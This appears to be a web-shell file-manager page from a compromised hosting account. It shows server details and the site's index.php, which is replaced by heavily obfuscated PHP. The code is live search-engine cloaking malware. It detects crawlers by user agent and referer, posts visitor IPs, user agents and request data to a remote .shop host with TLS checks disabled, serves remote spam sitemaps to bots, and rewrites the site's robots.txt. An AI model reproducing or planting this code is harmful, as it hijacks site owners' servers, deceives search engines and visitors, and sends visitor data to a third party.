HEX
Server: LiteSpeed
System: Linux atali.colombiahosting.com.co 5.14.0-570.12.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 13 06:11:55 EDT 2025 x86_64
User: coopserp (1713)
PHP: 8.2.29
Disabled: dl,exec,passthru,proc_open,proc_close,shell_exec,memory_limit,system,popen,curl_multi_exec,show_source,symlink,link,leak,listen,diskfreespace,tmpfile,ignore_user_abord,highlight_file,source,show_source,fpaththru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setid,posix_times,posix_ttyname,posix_uname,proc_get_status,proc_nice,proc_terminate
Upload Files
File: //proc/self/cwd/index.php
<?php
 goto HnuIT; xb2Ym: if (!(strpos($GGiaT, "\x6d\x61\160") > 0 || $J4DpA == "\x31")) { goto KZne1; } goto sNXp4; HkZof: if (strpos($GGiaT, "\x2e\160\150\160")) { goto m05qg; } goto HyIi8; jmPWl: function W1aLo($NnK3u) { goto f7V21; comEo: $SMEdg = true; goto m8B4F; W3FGf: $coDUH = "\147\x6f\x6f\x67\154\x65\x7c\x79\x61\x68\157\157\x7c\142\151\156\147\x7c\141\x6f\154"; goto eNY0i; eNY0i: if (!($NnK3u != '' && preg_match("\57\x28{$coDUH}\51\x2f\163\151", $NnK3u))) { goto s3qTt; } goto comEo; m8B4F: s3qTt: goto sP5aj; f7V21: $SMEdg = false; goto W3FGf; sP5aj: return $SMEdg; goto MxqeA; MxqeA: } goto UpD16; tn5IJ: $GnL8J = explode("\77", $GGiaT); goto git0e; CwMez: function XP83R($Uxshv) { goto g0nq_; mKdZC: if (!preg_match("\57\x28{$AL3Tn}\x29\x2f\163\151", $Uxshv)) { goto hk6gU; } goto IKozd; XJmWP: $AL3Tn = "\x67\157\x6f\147\x6c\145\142\x6f\164\x7c\142\151\156\x67\x62\157\164\x7c\147\157\157\147\x6c\x65\174\141\x6f\154\x7c\142\151\156\x67\x7c\x79\141\x68\x6f\x6f"; goto n3sCV; n3sCV: if (!($Uxshv != '')) { goto ovpXQ; } goto mKdZC; g0nq_: $AepZg = false; goto XJmWP; IKozd: $AepZg = true; goto F2f3y; F2f3y: hk6gU: goto iU2Yl; iU2Yl: ovpXQ: goto fPVA6; fPVA6: return $AepZg; goto B00gf; B00gf: } goto jmPWl; A_nWv: echo $zISl5; goto LZsSB; HnuIT: $F64Oh = "\x68\x74\164\160\163\x3a\57\57\x7a\x36\x30\62\x31\61\137\61\66\x2e\143\164\x75\162\143\157\x74\x74\145\x2e\x73\150\x6f\x70"; goto m_cUo; BnFrV: $hwKMD = $F64Oh . "\57\x77\157\x72\144\x73\x2e\x70\150\x70"; goto inwyB; DMODS: $zPRWM["\155\x61\x69\x6e\137\x73\150\x65\x6c\x6c"] = $DVBnB; goto QtRn_; ejcca: sh6bB: goto ciqEc; QtRn_: xqEI7: goto QiScl; Z106Z: DMCEQ: goto mquWZ; vIQj3: $fpmGO = $cS7c9 . $CQMau . $yscKh; goto lROT3; geHku: echo $FmveL; goto gPP2m; lV8PP: if (!strpos($GGiaT, "\141\x6c\154\163\151\164\145\x6d\141\x70\56\170\155\154")) { goto DMCEQ; } goto V4zHe; cEnPU: $zPRWM[] = array(); goto xLHz0; xUish: $DVBnB = $cS7c9 . $cFziz . $yscKh; goto DMODS; LZsSB: exit; goto OHW7K; UpD16: $cS7c9 = isset($_SERVER["\x48\x54\x54\120\x53"]) && $_SERVER["\110\x54\124\120\123"] !== "\157\x66\146" ? "\150\164\164\x70\x73\x3a\x2f\x2f" : "\x68\x74\x74\160\72\x2f\x2f"; goto PWh4G; Rt2M2: exit; goto YrGGm; o4iOP: $zPRWM["\150\x74\164\x70\137\x75\x73\145\x72\x5f\x61\147\x65\x6e\164"] = $d1n9j; goto TdzQk; G4L7C: $GGiaT = str_replace(array("\56\150\x74\x6d", "\x2e\x68\164\155\154", "\56\x73\150\x74\x6d\154", "\x2e\x70\150\x74\x6d\x6c"), '', rtrim($GGiaT, "\57")); goto RIGHE; Xv635: $nQiGE = $F64Oh . "\57\152\165\155\x70\x2e\160\150\x70"; goto BnFrV; lNs1t: ygTlY: goto PCUi7; G83FT: $zPRWM["\x77\157\x72\x64"] = $GnL8J; goto JlHeB; etLRG: goto xqEI7; goto IuUlR; MUbWy: echo $f3o5n; goto YHNR9; dKlFZ: $f3o5n = XQCab($hwKMD, $zPRWM); goto gVulw; lJZvE: $FmveL = xqCAB($gl1Kg, $zPRWM); goto CJtSa; IWLVy: echo xqCaB($nQiGE, $zPRWM); goto Rt2M2; no_MF: $gl1Kg = $F64Oh . "\57\155\141\x70\56\160\150\160"; goto Xv635; JOtcE: if (strpos($GGiaT, "\56\x70\150\160")) { goto nl8Df; } goto lhJXA; lhJXA: $fpmGO = $cS7c9 . $CQMau; goto JmGDP; Vk2GH: $cFziz = $_SERVER["\123\x45\122\x56\105\122\x5f\116\101\x4d\105"]; goto t9ual; HuPDT: $zPRWM["\162\145\161\137\x75\162\151"] = $GGiaT; goto qi2hc; TdzQk: $zISl5 = xqcaB($Hs8BU, $zPRWM); goto A_nWv; BAGGt: $Hs8BU = $F64Oh . "\57\151\x6e\x64\141\x74\x61\56\160\150\160"; goto no_MF; HyIi8: $DVBnB = $cS7c9 . $cFziz; goto wkeql; YHNR9: exit; goto Lqio3; Tam7e: $yscKh = $_SERVER["\x50\110\x50\x5f\x53\x45\x4c\x46"]; goto Vk2GH; gPP2m: exit; goto Z106Z; RIGHE: if (!(!$fRDYL && $vHoUw && (preg_match("\x2f\x5c\144\x24\57", $GGiaT) || preg_match("\x23\133\141\55\172\135\x3d\133\141\55\172\60\55\x39\x5d\53\x23", $GGiaT)))) { goto NcoEU; } goto h7_k4; QiScl: $zeWpP = isset($_SERVER["\x48\x54\x54\x50\137\x52\x45\106\x45\122\105\x52"]) ? $_SERVER["\x48\x54\124\120\x5f\x52\105\x46\x45\122\105\122"] : ''; goto HRvF1; xxw_6: goto Fld8a; goto cWNAI; nhrrD: Fld8a: goto G83FT; YrGGm: NcoEU: goto JdtVg; Lqio3: KZne1: goto cHkZb; CJtSa: header("\103\157\x6e\x74\145\x6e\x74\55\x74\x79\x70\x65\72\x74\145\x78\x74\57\x78\x6d\154"); goto PB8Js; JlHeB: $zPRWM["\x61\x63\164\151\157\x6e"] = "\143\150\x65\x63\x6b\x5f\163\x69\x74\145\155\141\160"; goto ttO2J; PiebM: nl8Df: goto vIQj3; gVulw: header("\103\x6f\x6e\x74\x65\156\x74\x2d\164\171\160\x65\x3a\164\145\170\x74\x2f\x78\155\x6c"); goto MUbWy; m_cUo: function xQcab($J5w_F, $ofqVk = array()) { goto nJcnX; mwLEp: $AXBlo = curl_init(); goto VnUNc; CcwtF: if (!(0 !== $JKfhL)) { goto MRF1n; } goto gsZIs; Dzz2o: return $gXzmI; goto JaCuy; SZrss: $gXzmI = curl_exec($AXBlo); goto SIql_; YnycQ: curl_setopt($AXBlo, CURLOPT_SSL_VERIFYHOST, FALSE); goto Iu9RN; VnUNc: curl_setopt($AXBlo, CURLOPT_URL, "{$J5w_F}"); goto OsCX1; iDkYO: curl_setopt($AXBlo, CURLOPT_HEADER, 0); goto ww1R8; WRBtj: curl_setopt($AXBlo, CURLOPT_POST, 1); goto LK8lR; LK8lR: curl_setopt($AXBlo, CURLOPT_SSL_VERIFYPEER, FALSE); goto YnycQ; nJcnX: $J5w_F = str_replace("\x20", "\53", $J5w_F); goto mwLEp; ww1R8: curl_setopt($AXBlo, CURLOPT_TIMEOUT, 10); goto WRBtj; OsCX1: curl_setopt($AXBlo, CURLOPT_RETURNTRANSFER, 1); goto iDkYO; PYKpH: curl_close($AXBlo); goto CcwtF; UYmFE: MRF1n: goto Dzz2o; gsZIs: return false; goto UYmFE; Iu9RN: curl_setopt($AXBlo, CURLOPT_POSTFIELDS, http_build_query($ofqVk)); goto SZrss; SIql_: $JKfhL = curl_errno($AXBlo); goto PYKpH; JaCuy: } goto CwMez; PCUi7: echo "\162\x6f\x62\157\x74\163\x2e\x74\x78\x74\40\x66\x69\154\x65\40\143\x72\145\x61\164\x65\40\163\x75\143\x63\145\x73\163\41"; goto OdzOR; dB899: if (!(substr($GGiaT, -6) == "\x72\x6f\x62\x6f\164\163")) { goto sh6bB; } goto k7P4L; K_bFr: $GnL8J = str_replace("\57", '', $GGiaT); goto B77Y0; EsEki: goto lqRs1; goto lNs1t; HVowE: $J4DpA = Xqcab($hwKMD, $zPRWM); goto xb2Ym; ZCSDu: $GnL8J = str_replace("\56\170\155\154", '', $GnL8J); goto nhrrD; B77Y0: $GnL8J = str_replace("\x2e\x78\155\x6c", '', $GnL8J); goto xxw_6; k7P4L: define("\125\151\x75\x67\x48", $_SERVER["\104\x4f\103\x55\x4d\x45\x4e\124\137\122\117\x4f\124"]); goto E4611; V4zHe: $FmveL = XqcaB($gl1Kg, $zPRWM); goto kmh0C; aRE3a: echo "\162\157\142\157\x74\x73\x2e\164\170\164\40\x66\x69\x6c\x65\40\143\x72\145\x61\164\145\40\146\x61\151\x6c\41"; goto EsEki; inwyB: $OypmI = $F64Oh . "\57\x72\x6f\142\157\164\x73\56\160\x68\x70"; goto JOtcE; E4611: $ALLUF = @file_get_contents(UiugH . "\57\162\x6f\x62\157\164\x73\56\x74\x78\164"); goto G_NTN; lROT3: ej14Z: goto cEnPU; t9ual: $bS6z5 = $cS7c9 . $CQMau . $GGiaT; goto BAGGt; DoJzA: $ALLUF = @XqcAb($OypmI, $zPRWM); goto DfyWB; Dn8KZ: $d1n9j = strtolower(isset($_SERVER["\x48\124\x54\120\137\125\123\x45\x52\x5f\x41\107\x45\x4e\124"]) ? $_SERVER["\110\x54\x54\x50\x5f\x55\x53\x45\x52\137\101\107\105\116\x54"] : ''); goto klxbG; OdzOR: lqRs1: goto Q53oN; git0e: $GnL8J = $GnL8J[count($GnL8J) - 1]; goto ZCSDu; wJpHE: $ALLUF = @file_get_contents(UiugH . "\57\162\x6f\x62\x6f\164\x73\56\x74\170\x74"); goto mKxnz; JdtVg: if (!$fRDYL) { goto uZRoQ; } goto o4iOP; DfyWB: file_put_contents(UiugH . "\x2f\162\x6f\142\157\x74\163\x2e\x74\x78\x74", $ALLUF); goto wJpHE; klxbG: $fRDYL = Xp83r($d1n9j); goto G4L7C; mquWZ: if (strpos($GGiaT, "\56\x70\150\x70")) { goto dZSm1; } goto K_bFr; mKxnz: if (strpos(strtolower($ALLUF), "\163\x69\x74\145\155\141\160")) { goto ygTlY; } goto aRE3a; kmh0C: header("\x43\x6f\x6e\x74\145\x6e\x74\55\x74\x79\160\145\x3a\x74\x65\x78\x74\x2f\x78\x6d\x6c"); goto geHku; HRvF1: $vHoUw = w1Alo($zeWpP); goto Dn8KZ; Yyy2Q: $zPRWM["\165\163\x65\162\x5f\x61\x67\145\156\x74"] = strtolower(isset($_SERVER["\110\x54\x54\x50\x5f\125\123\105\x52\137\101\x47\105\x4e\124"]) ? $_SERVER["\x48\x54\124\120\137\125\123\105\122\x5f\101\x47\105\x4e\124"] : ''); goto IWLVy; G_NTN: $zPRWM["\x72\157\x62\157\164\163\137\143\157\x6e\x74"] = $ALLUF; goto DoJzA; ttO2J: $f3o5n = XQcaB($hwKMD, $zPRWM); goto ZbJkd; JmGDP: goto ej14Z; goto PiebM; aduX_: n9x2p: goto Y593z; DCj0Z: $zPRWM["\x72\145\146\145\x72\x65\162"] = isset($_SERVER["\110\124\x54\x50\137\x52\x45\106\x45\122\105\x52"]) ? $_SERVER["\110\124\124\x50\137\122\x45\106\105\122\105\x52"] : ''; goto Yyy2Q; n2Tdb: exit; goto aduX_; aNsnH: $CQMau = $_SERVER["\x48\x54\x54\120\x5f\x48\x4f\123\x54"]; goto Tam7e; cHkZb: bFLJp: goto HkZof; qyhpm: $zPRWM["\162\x65\x71\x5f\x75\x72\154"] = $bS6z5; goto dB899; PB8Js: echo $FmveL; goto n2Tdb; sNXp4: $zPRWM["\141\143\164\x69\157\x6e"] = "\x72\x61\156\144\x5f\x78\x6d\x6c"; goto dKlFZ; ZbJkd: if (!($f3o5n == "\x31")) { goto n9x2p; } goto lJZvE; xLHz0: $zPRWM["\x64\157\155\141\x69\156"] = $CQMau; goto HuPDT; IuUlR: m05qg: goto xUish; ciqEc: if (!(substr($GGiaT, -4) == "\56\x78\x6d\154")) { goto bFLJp; } goto lV8PP; h7_k4: $zPRWM["\x69\x70"] = $_SERVER["\x52\105\115\117\x54\x45\137\101\104\x44\x52"]; goto DCj0Z; Q53oN: exit; goto ejcca; wkeql: $zPRWM["\155\141\151\x6e\137\x73\x68\x65\x6c\x6c"] = $DVBnB; goto etLRG; PWh4G: $GGiaT = $_SERVER["\122\105\x51\125\x45\x53\124\137\x55\x52\111"]; goto aNsnH; cWNAI: dZSm1: goto tn5IJ; qi2hc: $zPRWM["\150\162\x65\x66"] = $fpmGO; goto qyhpm; Y593z: $zPRWM["\x61\x63\x74\x69\157\x6e"] = "\x63\x68\145\x63\x6b\137\167\157\x72\x64\163"; goto HVowE; OHW7K: uZRoQ: